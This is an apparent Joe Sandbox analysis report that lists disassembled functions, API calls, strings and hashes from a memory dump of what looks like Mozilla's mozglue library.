Opcode Fuzzy Hash: c1948e013663b5ba0cb626d608849335a674a113dc534b57aa0cffc6bf27e993
Instruction Fuzzy Hash: 75413971604705DFCB18DF29C88095ABBF1FF89318B148A2EE84A87B91E731F954CB91

Function 6C530480 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000080,?,?,?,?,?,?,?,?,?,?,?,?,6C53041E,?,6C5303C0), ref: 6C5304D8
InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C53041E), ref: 6C5304E3

Strings

QzO/, xrefs: 6C530490

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc
String ID: QzO/
API String ID: 1952960883-117776061
Opcode ID: 85e3532e819f1ad3f6ac3628113accaf0d7936944e94ebb6f92a0742621e2536
Instruction ID: f18436e08846d6fa79f54364679312deec3e4063341172adec0ccc0ea94f0f22
Opcode Fuzzy Hash: 85e3532e819f1ad3f6ac3628113accaf0d7936944e94ebb6f92a0742621e2536
Instruction Fuzzy Hash: 9121D470E047848AE7409F3D8C813A5B7F4BFD9318F04A659DD8886223FB71A6D8C781

Function 6C521C60 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,6C52759E,?,?), ref: 6C521CB4
free.MOZGLUE(?,?,?,?,?,?,6C52759E,?,?,?,?,?,?,?,?,?), ref: 6C521CE9

Strings

QzO/, xrefs: 6C521C70

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Now@Stamp@mozilla@@TimeV12@_free
String ID: QzO/
API String ID: 876075630-117776061
Opcode ID: 5682e537480a30831d01d7833dc2cd9bee92712837258137da8200662486e351
Instruction ID: 8b1905fa77e44f2eeaabf47889afef584dd6ee86635f15099a2bd9b397ffd27c
Opcode Fuzzy Hash: 5682e537480a30831d01d7833dc2cd9bee92712837258137da8200662486e351
Instruction Fuzzy Hash: 88118F35900B059BC311CF29C840A97B7F0BF9A728F41461DD9A9A7B40EB76F959CB81

Function 6C521680 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 6C50FA80: GetCurrentThreadId.KERNEL32 ref: 6C50FA8D
Part of subcall function 6C50FA80: AcquireSRWLockExclusive.KERNEL32(6C55F448), ref: 6C50FA99

Part of subcall function 6C521700: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,6C5216CD), ref: 6C5217DC

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,6C514F39,?,?,?,?,6C5155F5,?), ref: 6C5216E6

Strings

QzO/, xrefs: 6C521691
9OQl, xrefs: 6C52168E

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_
String ID: 9OQl$QzO/
API String ID: 1463952509-3157333370
Opcode ID: 02f0940e470d9b63bd48b7b16846f5c0cf1ecc3c814bee1b218b2a001659bbe2
Instruction ID: bed142cb72660d47c777c992032e5b7fc57edc5e12f84970e99ab0c2b0dd610c
Opcode Fuzzy Hash: 02f0940e470d9b63bd48b7b16846f5c0cf1ecc3c814bee1b218b2a001659bbe2
Instruction Fuzzy Hash: 2F115EB5A0020C9FCB00CFA9D884ADEBBF9EF89214F55402AD845E7341E734A908CBA0

Function 6C520E00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C520E16

Part of subcall function 6C50FA80: GetCurrentThreadId.KERNEL32 ref: 6C50FA8D
Part of subcall function 6C50FA80: AcquireSRWLockExclusive.KERNEL32(6C55F448), ref: 6C50FA99

ReleaseSRWLockExclusive.KERNEL32 ref: 6C520E45

Strings

QzO/, xrefs: 6C520E0C

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$?profiler_get_core_buffer@baseprofiler@mozilla@@AcquireBuffer@2@ChunkedCurrentProfileReleaseThread
String ID: QzO/
API String ID: 488134835-117776061
Opcode ID: eb7e4f0b645ae47c448a7ad7b21e130b90e783a0eea771ddada6607ad7641cc9
Instruction ID: c5704aa7db4b14a6d04be3d0ff44cc2913cdbcc81cafc748e2e15d1d8fc224f9
Opcode Fuzzy Hash: eb7e4f0b645ae47c448a7ad7b21e130b90e783a0eea771ddada6607ad7641cc9
Instruction Fuzzy Hash: 5D1151B1609344CFCB00DF29D84529FBBF0EF89218F95892EE88997740D730D884CBA6

Function 6C4E4730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C4E44B2,6C55E21C,6C55F7F8), ref: 6C4E473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C4E474A

Strings

GetNtLoaderAPI, xrefs: 6C4E4744

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 771f8ead10cec1ebc47054a44f378b9bacdaa03b05bdd9b86254f2945e7e8988
Instruction ID: a56501515a617780b0a2058231e9d942cfbc90158428c02e23cc650ca1ae5ace
Opcode Fuzzy Hash: 771f8ead10cec1ebc47054a44f378b9bacdaa03b05bdd9b86254f2945e7e8988
Instruction Fuzzy Hash: 0F0156757052149FDF00AFAA8C489297BF9EB8F352B474066EA05C7750DB74D8018F95

Function 6C536F80 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE ref: 6C536FAA

Part of subcall function 6C536A10: InitializeCriticalSection.KERNEL32(6C55F618), ref: 6C536A68
Part of subcall function 6C536A10: GetCurrentProcess.KERNEL32 ref: 6C536A7D
Part of subcall function 6C536A10: GetCurrentProcess.KERNEL32 ref: 6C536AA1
Part of subcall function 6C536A10: EnterCriticalSection.KERNEL32(6C55F618), ref: 6C536AAE
Part of subcall function 6C536A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C536AE1
Part of subcall function 6C536A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C536B15
Part of subcall function 6C536A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C536B65
Part of subcall function 6C536A10: LeaveCriticalSection.KERNEL32(6C55F618,?,?), ref: 6C536B83

MozFormatCodeAddress.MOZGLUE ref: 6C536FF0

Strings

QzO/, xrefs: 6C536F92

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave
String ID: QzO/
API String ID: 1067246555-117776061
Opcode ID: 4bb10daca477c6727e8dba451d61fb9bb61d03273ffa1835bd6235d1f67f1492
Instruction ID: f049b1b7e70c209ff648151cc6e4af67ab674d2eedde3f4d48653c860acd3ceb
Opcode Fuzzy Hash: 4bb10daca477c6727e8dba451d61fb9bb61d03273ffa1835bd6235d1f67f1492
Instruction Fuzzy Hash: 0A11E9759083198BCB04DF59D8845AEB7F4FF88304F40846EE88D97350D7746A49CF92

Function 6C4EBE40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43timeCOMMON

Download Yara Rule

APIs

QueryUnbiasedInterruptTime.KERNEL32 ref: 6C4EBE64
__aulldiv.LIBCMT ref: 6C4EBE86

Strings

QzO/, xrefs: 6C4EBE4D

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: InterruptQueryTimeUnbiased__aulldiv
String ID: QzO/
API String ID: 218403179-117776061
Opcode ID: d39bcc2ac4b58765550c3ee7cd88e49657d42b1ad5c47ce377394688dc940818
Instruction ID: 0a726882f2157ee2c9cb506d8db5004aaa8aa1cf02783a4257150515295cf4ea
Opcode Fuzzy Hash: d39bcc2ac4b58765550c3ee7cd88e49657d42b1ad5c47ce377394688dc940818
Instruction Fuzzy Hash: AB012230B04301ABCB10DF38CC45F467BF4DB8A314FA18A1DAAA8836A1D770A494C789

Function 6C52E850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C52E878

Part of subcall function 6C4F5C50: GetTickCount64.KERNEL32 ref: 6C4F5D40
Part of subcall function 6C4F5C50: EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4F5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C52E8AC

Strings

QzO/, xrefs: 6C52E85E

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: StampTimeV01@@Value@mozilla@@$Count64CriticalEnterSectionTick
String ID: QzO/
API String ID: 1404550236-117776061
Opcode ID: 0bedea8bc1fcaccbbfde63bacb2511a50cbf1d0bec8c2a13256661b9abc02fd5
Instruction ID: 4a27d78b701bc5b8a9bad8582962f8625db24714dc17ab56002467f0e49f3fde
Opcode Fuzzy Hash: 0bedea8bc1fcaccbbfde63bacb2511a50cbf1d0bec8c2a13256661b9abc02fd5
Instruction Fuzzy Hash: D6F04C31B14244539710CF7D9C818EBBBE5DFC9224B61432EE85093340FBB065CA82D1

Function 6C536D30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE(#%02u: ??? (???:???),?,?,?,?,6C536CA1), ref: 6C536D51
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?,#%02u: ??? (???:???),?,?,?,?,6C536CA1), ref: 6C536D6B

Strings

QzO/, xrefs: 6C536D3C

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@
String ID: QzO/
API String ID: 2004917493-117776061
Opcode ID: 8bf02d187ac2bfb67910a0d111550e6da4318c05a43444d384d2b60a498c56c8
Instruction ID: 3f05aac42caac661cec9fa6fbe1e3a439da6902f25ed4179e65bccf2995f7eb3
Opcode Fuzzy Hash: 8bf02d187ac2bfb67910a0d111550e6da4318c05a43444d384d2b60a498c56c8
Instruction Fuzzy Hash: 6F011971B002199FCB11EF59CC909DFBBF8EF88664B51841AE859AB700DB31AD058BE0

Function 6C5194D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

Strings

QzO/, xrefs: 6C5194DC

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: __acrt_iob_func__stdio_common_vfprintf
String ID: QzO/
API String ID: 2168557111-117776061
Opcode ID: a7f709fa39ccf3b8cb7efeb12220d3bd9c6c8a2a2f4783dcc4469adcc7b8b876
Instruction ID: 43f2ac4e5971f2071dcb90f04529fdc78da8d8d9a1bc74ad431e89f6ccd1a4d2
Opcode Fuzzy Hash: a7f709fa39ccf3b8cb7efeb12220d3bd9c6c8a2a2f4783dcc4469adcc7b8b876
Instruction Fuzzy Hash: C6F08271A0011CAFDB00AF65EC4DEAFBB78EF46269F814029F9095B241D7316958CBE5

Function 6C536DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C536E22
__Init_thread_footer.LIBCMT ref: 6C536E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C536E1D

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 4d94d81df386666e9d4fddb29fcc1d44f31e087122a894daca7f1f1d2ff3a52b
Instruction ID: c7aeced5866600bb9a16490487c29d1b50db2a559caed5be62b3a2d55d12c8f6
Opcode Fuzzy Hash: 4d94d81df386666e9d4fddb29fcc1d44f31e087122a894daca7f1f1d2ff3a52b
Instruction Fuzzy Hash: 14F05931604340CBDA008B68CC50A9B37716743318F85126AC40987BE1EB20B91ADA97

Function 6C4E9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C4E9EEF

Strings

NaN, xrefs: 6C4E9EC1
Infinity, xrefs: 6C4E9EB7

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: db8ea4d9fe78ec3397bdd0de8f521ceae89891a4b3119149513f44145b856bef
Instruction ID: 86a14d6c1b00ad47588512d7a9964f8b28f3a7fd2e9f82cba2d3e0e0e93a4a97
Opcode Fuzzy Hash: db8ea4d9fe78ec3397bdd0de8f521ceae89891a4b3119149513f44145b856bef
Instruction Fuzzy Hash: EEF0CDB1600241CBDB00CF1CDC45FA533B1B75730AFA20B5AC6040BBC0D7766556CA8A

Function 6C4E6C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0KQl,?,6C514B30,80000000,?,6C514AB7,?,6C4D43CF,?,6C4D42D2), ref: 6C4E6C42

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

moz_xmalloc.MOZGLUE(0KQl,?,6C514B30,80000000,?,6C514AB7,?,6C4D43CF,?,6C4D42D2), ref: 6C4E6C58

Strings

0KQl, xrefs: 6C4E6C33, 6C4E6C41, 6C4E6C57

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0KQl
API String ID: 1967447596-1241777402
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 145d31365f3da9ce35ebdf53f3543a5316c51c8f5016d12c6c0975a754a49612
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 79E086F1A105094A9B08D978AC09EAE75C88B1C6EBF054A39ED32C6BCCFA54E5508191

Function 6C4E3850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C55F860), ref: 6C4E385C
ReleaseSRWLockExclusive.KERNEL32(6C55F860,?), ref: 6C4E3871

Strings

,Ul, xrefs: 6C4E387A

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,Ul
API String ID: 17069307-1618445069
Opcode ID: 8ac4d57e22e0f2720da72b750eb244a0140bf5c6df149d799a08d9304486b965
Instruction ID: 09c46996bbe26b622125b5fdf1b8dd74b1854bde4e409cacc94cc2e67fc32591
Opcode Fuzzy Hash: 8ac4d57e22e0f2720da72b750eb244a0140bf5c6df149d799a08d9304486b965
Instruction Fuzzy Hash: 41E0DF31A01A18978702EF968C05E8A3BF8FE0B692387460AF40A17A10C770908086C9

Function 6C4EBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C4EBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C4EBEF5

Strings

cryptbase.dll, xrefs: 6C4EBEF0

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: c63f1e60d0eb6c1ab159dbc6426ad098336388c2da16368e0bb4c5e77cb4a503
Instruction ID: 0efbcbc08a36cd18eaed226ca7dab779dc785973330b0663f0bc492ab3a7f82b
Opcode Fuzzy Hash: c63f1e60d0eb6c1ab159dbc6426ad098336388c2da16368e0bb4c5e77cb4a503
Instruction Fuzzy Hash: E0D0C932384208EADA40BAA48D0AF2A7BB8A706726F95C021F75594951C7B1A465CB99

Function 6C52B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C52B2C9,?,?,?,6C52B127,?,?,?,?,?,?,?,?,?,6C52AE52), ref: 6C52B628

Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C5290FF
Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C529108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C52B2C9,?,?,?,6C52B127,?,?,?,?,?,?,?,?,?,6C52AE52), ref: 6C52B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C52B2C9,?,?,?,6C52B127,?,?,?,?,?,?,?,?,?,6C52AE52), ref: 6C52B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C52B127,?,?,?,?,?,?,?,?), ref: 6C52B74D

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: ce87aeb4c88087a0a1e7e835b8f0f9eeb99ad7b524940330c7aebb02de488f50
Instruction ID: cfeb1dcc988241cf53f7f4a5c3aa03ac31eeda2e8d97e0ac9bf95c68d6f8fa6a
Opcode Fuzzy Hash: ce87aeb4c88087a0a1e7e835b8f0f9eeb99ad7b524940330c7aebb02de488f50
Instruction Fuzzy Hash: B651BF71A052168BDB14DF18CD80A5EB7F5FF85304F59852DC89BABB90D735B804CBA1

Function 6C52DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C51FF2A), ref: 6C52DFFD

Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C5290FF
Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C529108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C51FF2A), ref: 6C52E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C51FF2A), ref: 6C52E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C51FF2A), ref: 6C52E0FE

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 8995fd48f32858667efa147516aeca0f590fbd32a56298b012e3a6a71decc25c
Instruction ID: 65c748509f3959cd85c798a4f6e2337cca79eb85b14a6879449f3f2835d9f435
Opcode Fuzzy Hash: 8995fd48f32858667efa147516aeca0f590fbd32a56298b012e3a6a71decc25c
